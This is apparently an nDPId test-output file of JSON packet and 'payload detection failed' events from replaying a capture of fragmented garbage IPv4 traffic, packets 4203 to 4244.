+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651298,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651312,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651323,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651330,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651338,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651348,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651359,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651366,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651373,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651380,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651388,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651413,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651428,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651439,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651446,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651475,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651485,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651493,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651500,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651515,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651522,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651533,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651540,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651548,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651556,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651563,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651571,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651578,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651585,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651592,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651599,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651605,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651613,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651636,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651643,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651651,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651658,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":651665,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 